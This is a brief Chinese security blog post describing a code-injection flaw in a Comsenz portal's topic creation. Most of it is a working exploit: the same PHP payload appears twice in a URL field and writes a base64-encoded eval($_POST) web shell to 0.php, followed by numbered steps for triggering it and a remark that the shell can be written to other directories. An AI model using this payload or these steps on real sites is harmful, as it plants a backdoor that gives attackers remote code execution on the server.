由于创建专题时未对 静态化名称 网站 URL: http://www.comsenz.com/#<?php file_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=’));?>
2.工具->更新缓存 3.门户->HTML管理 4.创建专题
5.专题管理
6.再次创建专题 就执行了php代码 <?php file_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=’));?>
不仅仅是可以生成到专题目录,可以生成到任何可以包含的下面!
|
-
上一篇: 某漏洞可导致直捣letv内网 – 网站安全 – 自学php
下一篇: Web 前端攻防 2014 – 网站安全 – 自学php
评论前必须登录!
立即登录